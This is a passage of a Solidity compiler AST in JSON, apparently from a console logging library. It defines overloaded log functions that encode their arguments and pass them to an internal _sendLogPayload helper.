memory)"}},"id":22904,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59813:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22896,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"59797:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59797:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22906,"nodeType":"ExpressionStatement","src":"59797:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59718:3:14","parameters":{"id":22894,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22887,"mutability":"mutable","name":"p0","nameLocation":"59730:2:14","nodeType":"VariableDeclaration","scope":22908,"src":"59722:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22886,"name":"address","nodeType":"ElementaryTypeName","src":"59722:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22889,"mutability":"mutable","name":"p1","nameLocation":"59748:2:14","nodeType":"VariableDeclaration","scope":22908,"src":"59734:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22888,"name":"string","nodeType":"ElementaryTypeName","src":"59734:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22891,"mutability":"mutable","name":"p2","nameLocation":"59757:2:14","nodeType":"VariableDeclaration","scope":22908,"src":"59752:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22890,"name":"bool","nodeType":"ElementaryTypeName","src":"59752:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22893,"mutability":"mutable","name":"p3","nameLocation":"59769:2:14","nodeType":"VariableDeclaration","scope":22908,"src":"59761:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22892,"name":"address","nodeType":"ElementaryTypeName","src":"59761:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"59721:51:14"},"returnParameters":{"id":22895,"nodeType":"ParameterList","parameters":[],"src":"59787:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22931,"nodeType":"FunctionDefinition","src":"59902:187:14","nodes":[],"body":{"id":22930,"nodeType":"Block","src":"59980:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c616464726573732c75696e7429","id":22922,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60030:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8c1933a9a9c61e3dc8d3ebdfa929712b21dab3dcf7188e7d35cbf8aaaf476582","typeString":"literal_string \"log(address,string,address,uint)\""},"value":"log(address,string,address,uint)"},{"id":22923,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22910,"src":"60066:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22924,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22912,"src":"60070:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22925,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22914,"src":"60074:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22926,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22916,"src":"60078:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8c1933a9a9c61e3dc8d3ebdfa929712b21dab3dcf7188e7d35cbf8aaaf476582","typeString":"literal_string \"log(address,string,address,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22920,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60006:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22921,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60010:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60006:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22927,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60006:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22919,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"59990:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22928,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59990:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22929,"nodeType":"ExpressionStatement","src":"59990:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59911:3:14","parameters":{"id":22917,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22910,"mutability":"mutable","name":"p0","nameLocation":"59923:2:14","nodeType":"VariableDeclaration","scope":22931,"src":"59915:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22909,"name":"address","nodeType":"ElementaryTypeName","src":"59915:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22912,"mutability":"mutable","name":"p1","nameLocation":"59941:2:14","nodeType":"VariableDeclaration","scope":22931,"src":"59927:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22911,"name":"string","nodeType":"ElementaryTypeName","src":"59927:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22914,"mutability":"mutable","name":"p2","nameLocation":"59953:2:14","nodeType":"VariableDeclaration","scope":22931,"src":"59945:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22913,"name":"address","nodeType":"ElementaryTypeName","src":"59945:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22916,"mutability":"mutable","name":"p3","nameLocation":"59962:2:14","nodeType":"VariableDeclaration","scope":22931,"src":"59957:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22915,"name":"uint","nodeType":"ElementaryTypeName","src":"59957:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"59914:51:14"},"returnParameters":{"id":22918,"nodeType":"ParameterList","parameters":[],"src":"59980:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22954,"nodeType":"FunctionDefinition","src":"60095:198:14","nodes":[],"body":{"id":22953,"nodeType":"Block","src":"60182:111:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c616464726573732c737472696e6729","id":22945,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60232:36:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f7e3624510fc5618feb98a49f5d4404e3749dacbdc916c267fea7b2051a08dea","typeString":"literal_string \"log(address,string,address,string)\""},"value":"log(address,string,address,string)"},{"id":22946,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22933,"src":"60270:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22947,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22935,"src":"60274:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22948,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22937,"src":"60278:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22949,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22939,"src":"60282:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f7e3624510fc5618feb98a49f5d4404e3749dacbdc916c267fea7b2051a08dea","typeString":"literal_string \"log(address,string,address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22943,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60208:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22944,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60212:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60208:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22950,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60208:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22942,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"60192:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22951,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60192:94:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22952,"nodeType":"ExpressionStatement","src":"60192:94:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60104:3:14","parameters":{"id":22940,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22933,"mutability":"mutable","name":"p0","nameLocation":"60116:2:14","nodeType":"VariableDeclaration","scope":22954,"src":"60108:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22932,"name":"address","nodeType":"ElementaryTypeName","src":"60108:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22935,"mutability":"mutable","name":"p1","nameLocation":"60134:2:14","nodeType":"VariableDeclaration","scope":22954,"src":"60120:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22934,"name":"string","nodeType":"ElementaryTypeName","src":"60120:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22937,"mutability":"mutable","name":"p2","nameLocation":"60146:2:14","nodeType":"VariableDeclaration","scope":22954,"src":"60138:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22936,"name":"address","nodeType":"ElementaryTypeName","src":"60138:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22939,"mutability":"mutable","name":"p3","nameLocation":"60164:2:14","nodeType":"VariableDeclaration","scope":22954,"src":"60150:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22938,"name":"string","nodeType":"ElementaryTypeName","src":"60150:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"60107:60:14"},"returnParameters":{"id":22941,"nodeType":"ParameterList","parameters":[],"src":"60182:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22977,"nodeType":"FunctionDefinition","src":"60299:187:14","nodes":[],"body":{"id":22976,"nodeType":"Block","src":"60377:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c616464726573732c626f6f6c29","id":22968,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60427:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_0df12b7620e0bad204ac79fe9930fef9b9a40702161764a681594d50d657b081","typeString":"literal_string \"log(address,string,address,bool)\""},"value":"log(address,string,address,bool)"},{"id":22969,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22956,"src":"60463:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22970,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22958,"src":"60467:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22971,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22960,"src":"60471:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22972,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22962,"src":"60475:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0df12b7620e0bad204ac79fe9930fef9b9a40702161764a681594d50d657b081","typeString":"literal_string \"log(address,string,address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22966,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60403:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22967,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60407:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60403:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22973,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60403:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22965,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"60387:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22974,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60387:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22975,"nodeType":"ExpressionStatement","src":"60387:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60308:3:14","parameters":{"id":22963,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22956,"mutability":"mutable","name":"p0","nameLocation":"60320:2:14","nodeType":"VariableDeclaration","scope":22977,"src":"60312:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22955,"name":"address","nodeType":"ElementaryTypeName","src":"60312:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22958,"mutability":"mutable","name":"p1","nameLocation":"60338:2:14","nodeType":"VariableDeclaration","scope":22977,"src":"60324:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22957,"name":"string","nodeType":"ElementaryTypeName","src":"60324:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22960,"mutability":"mutable","name":"p2","nameLocation":"60350:2:14","nodeType":"VariableDeclaration","scope":22977,"src":"60342:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22959,"name":"address","nodeType":"ElementaryTypeName","src":"60342:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22962,"mutability":"mutable","name":"p3","nameLocation":"60359:2:14","nodeType":"VariableDeclaration","scope":22977,"src":"60354:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22961,"name":"bool","nodeType":"ElementaryTypeName","src":"60354:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"60311:51:14"},"returnParameters":{"id":22964,"nodeType":"ParameterList","parameters":[],"src":"60377:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23000,"nodeType":"FunctionDefinition","src":"60492:193:14","nodes":[],"body":{"id":22999,"nodeType":"Block","src":"60573:112:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c616464726573732c6164647265737329","id":22991,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60623:37:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_0d36fa2022fafb45586a59914be3ad4c57b76e89535385dcff89c28c80605121","typeString":"literal_string \"log(address,string,address,address)\""},"value":"log(address,string,address,address)"},{"id":22992,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22979,"src":"60662:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22993,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22981,"src":"60666:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22994,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22983,"src":"60670:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22995,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22985,"src":"60674:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0d36fa2022fafb45586a59914be3ad4c57b76e89535385dcff89c28c80605121","typeString":"literal_string \"log(address,string,address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22989,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60599:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22990,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60603:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60599:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22996,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60599:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22988,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"60583:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22997,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60583:95:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22998,"nodeType":"ExpressionStatement","src":"60583:95:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60501:3:14","parameters":{"id":22986,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22979,"mutability":"mutable","name":"p0","nameLocation":"60513:2:14","nodeType":"VariableDeclaration","scope":23000,"src":"60505:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22978,"name":"address","nodeType":"ElementaryTypeName","src":"60505:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22981,"mutability":"mutable","name":"p1","nameLocation":"60531:2:14","nodeType":"VariableDeclaration","scope":23000,"src":"60517:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22980,"name":"string","nodeType":"ElementaryTypeName","src":"60517:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22983,"mutability":"mutable","name":"p2","nameLocation":"60543:2:14","nodeType":"VariableDeclaration","scope":23000,"src":"60535:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22982,"name":"address","nodeType":"ElementaryTypeName","src":"60535:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22985,"mutability":"mutable","name":"p3","nameLocation":"60555:2:14","nodeType":"VariableDeclaration","scope":23000,"src":"60547:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22984,"name":"address","nodeType":"ElementaryTypeName","src":"60547:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"60504:54:14"},"returnParameters":{"id":22987,"nodeType":"ParameterList","parameters":[],"src":"60573:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23023,"nodeType":"FunctionDefinition","src":"60691:170:14","nodes":[],"body":{"id":23022,"nodeType":"Block","src":"60757:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c75696e742c75696e7429","id":23014,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60807:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c210a01e60a7d88137859e75abc2d14430087408747ac6787f0acb2f0f8bfd59","typeString":"literal_string \"log(address,bool,uint,uint)\""},"value":"log(address,bool,uint,uint)"},{"id":23015,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23002,"src":"60838:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23016,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23004,"src":"60842:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23017,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23006,"src":"60846:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":23018,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23008,"src":"60850:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c210a01e60a7d88137859e75abc2d14430087408747ac6787f0acb2f0f8bfd59","typeString":"literal_string \"log(address,bool,uint,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":23012,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60783:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23013,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60787:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60783:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23019,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60783:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23011,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"60767:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23020,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60767:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23021,"nodeType":"ExpressionStatement","src":"60767:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60700:3:14","parameters":{"id":23009,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23002,"mutability":"mutable","name":"p0","nameLocation":"60712:2:14","nodeType":"VariableDeclaration","scope":23023,"src":"60704:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23001,"name":"address","nodeType":"ElementaryTypeName","src":"60704:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23004,"mutability":"mutable","name":"p1","nameLocation":"60721:2:14","nodeType":"VariableDeclaration","scope":23023,"src":"60716:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23003,"name":"bool","nodeType":"ElementaryTypeName","src":"60716:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23006,"mutability":"mutable","name":"p2","nameLocation":"60730:2:14","nodeType":"VariableDeclaration","scope":23023,"src":"60725:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23005,"name":"uint","nodeType":"ElementaryTypeName","src":"60725:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":23008,"mutability":"mutable","name":"p3","nameLocation":"60739:2:14","nodeType":"VariableDeclaration","scope":23023,"src":"60734:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdent